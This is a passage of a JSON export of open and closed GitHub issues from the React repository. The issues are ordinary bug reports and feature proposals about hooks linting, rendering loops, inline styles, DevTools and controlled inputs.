memoized.render();\r\n}\r\n```\r\n\r\n## Workarounds\r\n\r\nIf one changes the component to lowercase, the lint error goes away. It does also mean that we need to change the way we render the component:\r\n\r\n```javascript.jsx\r\nfunction Foo({ component }) {\r\n\tconst memoized = useMemo(() => ({\r\n\t\trender: component\r\n\t}), [component]);\r\n\r\n\treturn memoized.render();\r\n}\r\n```\r\n\r\nAlternatively we can decide not to use JSX, in which case the lint rule functions correctly, too:\r\n\r\n```javascript.jsx\r\nfunction Foo({ component: Component }) {\r\n\tconst memoized = useMemo(() => ({\r\n\t\trender: () => React.createElement(Component)\r\n\t}), [Component]);\r\n\r\n\treturn memoized.render();\r\n}\r\n```\r\n\r\n## Impact\r\n\r\nCurrently it is hard to use props that are components in a JSX expression if one is using the `exhaustive-deps` rule.\r\n\r\nThis is also compounded by the fact that this rule has a ESLint fix that removes the dependency, thus changing the behaviour of the code and leading to bugs. See https://github.com/facebook/react/issues/16313 for that bug report.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18051/reactions", "total_count": 5, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17938", "id": 557613860, "node_id": "MDU6SXNzdWU1NTc2MTM4NjA=", "number": 17938, "title": "Bug: Render-phase update to another root causes an over-rendering loop", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 178761159, "node_id": "MDU6TGFiZWwxNzg3NjExNTk=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Regression", "name": "Type: Regression", "color": "e11d21", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 3, "created_at": "2020-01-30T16:36:57Z", "updated_at": "2020-01-30T17:08:04Z", "closed_at": null, "assignee": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "```js\r\n let container1 = document.createElement('div');\r\n let container2 = document.createElement('div');\r\n\r\n function Root1() {\r\n _setX(x => x + 1);\r\n return 'Hello';\r\n }\r\n\r\n let _setX = () => {};\r\n function Root2() {\r\n console.log('Root 2')\r\n let [x, setX] = React.useState(0);\r\n _setX = setX;\r\n return
{x}
\r\n }\r\n\r\n const root1 = ReactDOM.createRoot(container1);\r\n root1.render();\r\n const root2 = ReactDOM.createRoot(container2);\r\n root2.render();\r\n```\r\n\r\nExpected: `Root2` renders twice.\r\nActual: `Root2` renders a non-deterministic number of times.\r\n\r\nThis bisects to https://github.com/facebook/react/pull/15755, which removed the `5000` clamping. Without it, we get updates that have a slightly larger timeout than `5000`, and so the loop doesn't stop until we get to `5000`.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17938/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17899", "id": 554247999, "node_id": "MDU6SXNzdWU1NTQyNDc5OTk=", "number": 17899, "title": "Bug: styles object using css variables and both a shorthand and a specific property renders incorrectly", "user": { "login": "joaomoleiro", "id": 23476208, "node_id": "MDQ6VXNlcjIzNDc2MjA4", "avatar_url": "https://avatars.githubusercontent.com/u/23476208?v=4", "gravatar_id": "", "url": "https://api.github.com/users/joaomoleiro", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2020-01-23T15:58:13Z", "updated_at": "2020-04-11T23:19:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React does not produce the correct css inline styles when using css variables for both the shorthand property and another specific one (like `padding` and `paddingRight`).\r\n\r\nThe styles object:\r\n\r\n```js\r\n{\r\n padding: \"calc(var(--spacing) * 1)\",\r\n paddingRight: \"calc(var(--spacing) * 3)\",\r\n paddingBottom: \"calc(var(--spacing) * 4)\"\r\n};\r\n```\r\nproduces the following styles:\r\n\r\n![image](https://user-images.githubusercontent.com/23476208/72995030-1d39e400-3df0-11ea-9235-0e6ad00718b2.png)\r\n\r\nand the following html:\r\n```html\r\nApp\r\n```\r\n\r\neven though the computed properties tab of the dev-tools appear to be correct and the padding is properly rendered in the screen:\r\n\r\n![image](https://user-images.githubusercontent.com/23476208/72995225-6e49d800-3df0-11ea-9770-98f062008ca3.png)\r\n\r\nIf I remove the css-variable, everything works as expected.\r\n\r\n**React version**: From v15.0.0 to 16.12.0\r\n\r\n_Note_: Below v15.0.0 the styles are correctly produced:\r\n\r\n```html\r\nApp\r\n```\r\n\r\n\r\n## Steps To Reproduce\r\n\r\n1. Add a style object to a component that has both a property shorthand and a specific one (like `padding` and `paddingRight`) and uses a css variable (like `var(--spacing)`.\r\n2. Render that component and inspect using dev-tools.\r\n\r\nLink to code example: https://codesandbox.io/s/heuristic-wood-bjr1y\r\n\r\nstyles object:\r\n```js\r\n{\r\n padding: \"calc(var(--spacing) * 1)\",\r\n paddingRight: \"calc(var(--spacing) * 3)\",\r\n paddingBottom: \"calc(var(--spacing) * 4)\"\r\n};\r\n```\r\n## The current behavior\r\n\r\nReact does not produces the correct css inline styles when using css variables for both the shorthand property and another specific one:\r\n\r\n```html\r\nApp\r\n```\r\n\r\n## The expected behavior\r\n\r\nInline styles using css variables that have both a shorthand and a specific one should produce the correct styles.\r\n```html\r\nApp\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17899/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17855", "id": 550945196, "node_id": "MDU6SXNzdWU1NTA5NDUxOTY=", "number": 17855, "title": "Bug: DevTools DOM highlighting gets stuck after a prolonged hover", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2020-01-16T17:16:35Z", "updated_at": "2025-11-14T00:34:53Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Steps To Reproduce\r\n\r\n1. Hover a component in DevTools\r\n2. *Keep hovering it for a second or so*\r\n3. Quickly move the cursor out of the DevTools without hovering anything else\r\n\r\nExpected: DOM highlighting goes away.\r\nActual: DOM highlighting gets stuck.\r\n\r\n![](https://d1sz9tkli0lfjq.cloudfront.net/items/2o2r240l0o3i1B0d1n3J/Screen%20Recording%202020-01-16%20at%2005.14%20PM.gif?v=e1a91e13)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17855/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17831", "id": 549309266, "node_id": "MDU6SXNzdWU1NDkzMDkyNjY=", "number": 17831, "title": "Bug: I shouldn't own the DOM fixtures website", "user": { "login": "nhunzaker", "id": 590904, "node_id": "MDQ6VXNlcjU5MDkwNA==", "avatar_url": "https://avatars.githubusercontent.com/u/590904?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nhunzaker", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 71502270, "node_id": "MDU6TGFiZWw3MTUwMjI3MA==", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Build%20Infrastructure", "name": "Component: Build Infrastructure", "color": "f9d0c4", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2020-01-14T03:27:48Z", "updated_at": "2020-01-15T19:19:46Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Some folks at Google are helping us to think through some ideas to help our input code be more sane, and we discovered that our DOM Text Fixtures site (http://react-dom-fixtures.surge.sh) was both:\r\n\r\n- _Very_ out of date\r\n- Owned by me\r\n\r\nBoth seem fixable. However I think a good first start is to figure out a way to publicly host the fixtures where I am not a bottleneck.\r\n\r\nWhat do you think? Could we setup a deploy process - maybe with netlify - to deploy the fixtures automatically?", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17831/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17779", "id": 545317342, "node_id": "MDU6SXNzdWU1NDUzMTczNDI=", "number": 17779, "title": "SuspenseList tail property not working on re-renders", "user": { "login": "kmurgic", "id": 36178802, "node_id": "MDQ6VXNlcjM2MTc4ODAy", "avatar_url": "https://avatars.githubusercontent.com/u/36178802?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kmurgic", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" }, "2": { "id": 1205087127, "node_id": "MDU6TGFiZWwxMjA1MDg3MTI3", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Concurrent%20Features", "name": "Component: Concurrent Features", "color": "ffccd3", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2020-01-04T18:44:35Z", "updated_at": "2020-01-09T20:04:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nI am reporting a possible bug or otherwise requesting clarification.\r\n\r\n**What is the current behavior?**\r\n\r\nWhen a component with a SuspenseList re-renders (such as when it is is passed a new resource), the SuspenseList component still respects the revealOrder=\"forwards\" or revealOrder=\"backwards\" prop but does not respect the tail=\"collapsed\" or tail=\"hidden\" prop.\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\nhttps://codesandbox.io/s/exciting-cherry-g9uc9\r\n\r\nIn order to see bug: \r\n1) Refresh the Code Sandbox browser and see that \"Loading profile...\" displays and \"Loading posts...\" does not due to the tail being collapsed. This is the expected behavior.\r\n2) Press the \"Next\" button. Both \"Loading Profile...\" and \"Loading posts...\" display. The tail is no longer collapsed.\r\n\r\n**What is the expected behavior?**\r\n\r\nThe expected behavior would be for the tail to be collapsed when pressing the \"Next\" button. \"Loading profile...\" should be displayed, but not \"Loading posts...\"\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nThis affects only the experimental Concurrent Mode build of React.\r\n", "closed_by": { "login": "kmurgic", "id": 36178802, "node_id": "MDQ6VXNlcjM2MTc4ODAy", "avatar_url": "https://avatars.githubusercontent.com/u/36178802?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kmurgic", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17779/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17609", "id": 537986655, "node_id": "MDU6SXNzdWU1Mzc5ODY2NTU=", "number": 17609, "title": "Controlled numeric input gets cleared when unfocused", "user": { "login": "kripod", "id": 14854048, "node_id": "MDQ6VXNlcjE0ODU0MDQ4", "avatar_url": "https://avatars.githubusercontent.com/u/14854048?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kripod", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "2": { "id": 1775955521, "node_id": "MDU6TGFiZWwxNzc1OTU1NTIx", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Backlog", "name": "Resolution: Backlog", "color": "9dd1e8", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2019-12-15T01:10:16Z", "updated_at": "2020-04-01T20:58:15Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\nI would like to report a bug.\r\n\r\n**What is the current behavior?**\r\nA numeric input field gets cleared accidentally on several occasions.\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\n1. Open [this sandbox](https://codesandbox.io/embed/sad-rgb-mltuj)\r\n2. Type “12.” into the field, with the trailing decimal separator\r\n3. Unfocus the control\r\n4. Append “.” to the field’s value to see “12..”\r\n5. Unfocus the control once again and see that the number has completely disappeared\r\n\r\n**What is the expected behavior?**\r\n\r\nSimilar to how uncontrolled inputs work (remove the `value` prop and then repeat the steps above), the input should not be cleared on blur.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nI’m using React 16.12.0 and experienced the same behavior with the latest version of Chrome and iOS Safari. Regarding this bug, I have no experience with previous versions of React.\r\n", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17609/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17594", "id": 537427200, "node_id": "MDU6SXNzdWU1Mzc0MjcyMDA=", "number": 17594, "title": "DevTools: Profiler: Enable correlating console logs to profiler output (and vice versa)", "user": { "login": "justingrant", "id": 277214, "node_id": "MDQ6VXNlcjI3NzIxNA==", "avatar_url": "https://avatars.githubusercontent.com/u/277214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/justingrant", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2019-12-13T09:01:35Z", "updated_at": "2019-12-20T22:42:06Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "A challenge with the React DevTools profiler is that it's too hard to correlate profiler results with console logs. This makes diagnosing and fixing render performance issues much more difficult.\r\n\r\nFor example, yesterday I was debugging an app where each render usually took 10ms-20ms except every 20-30 renders it'd take 600-800ms. It was frustrating that I didn't have a way to correlate the profiler UI (which told me which renders were problematic) with the verbose console log output that might tell me exactly what went wrong during those renders. Instead I had to comb through logs and guess which output came from \"bad\" renders. This was tedious and error-prone.\r\n\r\nAnyway, my proposal is for React DevTools to make it easy to correlate profiler results with console log output. Both directions would be useful:\r\n1) **navigate from logs to profiler** - if I see a suspicious line in the logs, I'd like to easily navigate to the profiler with the specific component/commit selected that was running when the line was logged.\r\n2) **navigate from profiler to logs** - if I see a suspiciously long commit, I'd like to select it in the profiler pane and have an easy way to see associated logs.\r\n\r\nI don't have a strong opinion about how this should be accomplished, but below are a few ideas to spur discussion.\r\n\r\nA minimal solution could be something like this: \r\na) The profiler assigns a unique ID to each commit\r\nb) The profiler's right pane would show the ID for each commit\r\nc) React would add a new hook that'd return that ID\r\nd) Userland code could include the ID in logs.\r\n\r\nJust this minimal support would be a vast improvement.\r\n\r\nIf we wanted to make it smoother, here's a few ideas that could be layered on top.\r\n\r\n1. **Profiler->Console Links** The ID in the profiler UI could be a hyperlink that'd open the console drawer and put the ID in the console's CMD+F search box. This would be one-click navigation from profiler to logs. I don't know if Chrome allows this kind of cross-pane control, over the console UI so this might not be practical.\r\n\r\n2. **Console -> Profiler Links** For one-click logging in the other direction., we could have a special URL format (e.g. `react://profiler/commit/2c1056b5-1be1-43d4-a105-1d840cf4f9c3`) that would enable userland code to emit links in the console that, when clicked, would navigate to the specific commit (in the profile pane) that was active when the logs were emitted. Similar caveat as above: I'm not sure if chrome extensions can be \"deeplinked\" like this. \r\n\r\n3. **Log Components Where** Building on (1) and (2) above, we could enable console<->profiler linking without requiring changes to userland code. We could have a profiler setting (e.g. \"log components where\" with UX like \"hide components where\") that, when active, would emit a line to the console log at the start of each render of a matching component. The output would link back to the profiler, e.g. \r\n`[RDT] Starting MyCoolComponent (react://profiler/commit/2c1056b51be143d4a1051d840cf4f9c3)`.\r\n\r\nWhat do you think? I'm unfamiliar with React and RDT internals so there might be much better ways to solve log<->profiler correlation than my naive ideas above. But at least I wanted to call out the problem and encourage discussion about a solution.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17594/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17581", "id": 536707451, "node_id": "MDU6SXNzdWU1MzY3MDc0NTE=", "number": 17581, "title": "Input nodes leaked by the browser retain React fibers", "user": { "login": "albertxing", "id": 2881206, "node_id": "MDQ6VXNlcjI4ODEyMDY=", "avatar_url": "https://avatars.githubusercontent.com/u/2881206?v=4", "gravatar_id": "", "url": "https://api.github.com/users/albertxing", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 12, "created_at": "2019-12-12T01:40:26Z", "updated_at": "2022-03-30T00:19:17Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\n\r\n🐛 \r\n\r\n**What is the current behavior?**\r\n\r\nBrowsers retain references to inputs in their undo stacks, which in turn retain React fibers (including `memoizedProps`)\r\n\r\nSee https://bugs.chromium.org/p/chromium/issues/detail?id=1029189\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\nhttps://jsfiddle.net/altxg/nzu6ab5e/3/\r\n\r\n**What is the expected behavior?**\r\n\r\nAlthough the leak originates from the browser, it might be helpful if React detached internal fiber references from input and contenteditable nodes on unmount\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nAll versions of React as far as I know.\r\nI can reproduce the leak on Chrome and Firefox on Mac\r\n\r\n---\r\n\r\nPotentially related issues:\r\nhttps://github.com/facebook/react/issues/12692\r\nhttps://github.com/facebook/react/issues/16087", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17581/reactions", "total_count": 6, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17553", "id": 534838995, "node_id": "MDU6SXNzdWU1MzQ4Mzg5OTU=", "number": 17553, "title": "DevTools: Provide full file path for React Native component stacks", "user": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1776420141, "node_id": "MDU6TGFiZWwxNzc2NDIwMTQx", "url": "https://api.github.com/repos/facebook/react/labels/Partner", "name": "Partner", "color": "e4bef7", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 4, "created_at": "2019-12-09T10:38:24Z", "updated_at": "2020-01-08T23:38:18Z", "closed_at": null, "assignee": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "MEMBER", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Overview\r\n\r\nIn React Native, we're working on a new RedBox experience for errors and warnings called LogBox. In LogBox, we separate out component stack traces and show them similar to call stacks.\r\n\r\nWe'd like to be able to tap on these components and open them (like we can with call stacks).\r\n\r\n## Solutions\r\nIn React we have the full file path context, but when we build the component stack trace, we strip the full path so that it displays only the file name.\r\n\r\nThere are two options to achieve this:\r\n- For React Native, don't strip the full path [here](https://github.com/facebook/react/blob/b438699d3620bff236282b049204e1221b3689e9/packages/react-devtools-shared/src/backend/describeComponentFrame.js#L25). This will result in longer component stack messages with every frame having the full path.\r\n- Keep the message the same, and instead add structured component stack frame info including the full file path.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/17553/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/17494", "id": 530587842, "node_id": "MDU6SXNzdWU1MzA1ODc4NDI=", "number": 17494, "title": "Undo behavior in controlled input doesn't work as expected", "user": { "login": "oliviertassinari", "id": 3165635, "node_id": "MDQ6VXNlcjMxNjU2MzU=", "avatar_url": "https://avatars.githubusercontent.com/u/3165635?v=4", "gravatar_id": "", "url": "https://api.github.com/users/oliviertassinari", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2019-11-30T14:49:37Z", "updated_at": "2025-01-11T02:39:12Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nReport a bug\r\n\r\n**What is the current behavior?**\r\n\r\n1. Load https://codesandbox.io/s/material-demo-8wgfs.\r\n1. Focus the first input.\r\n1. Type 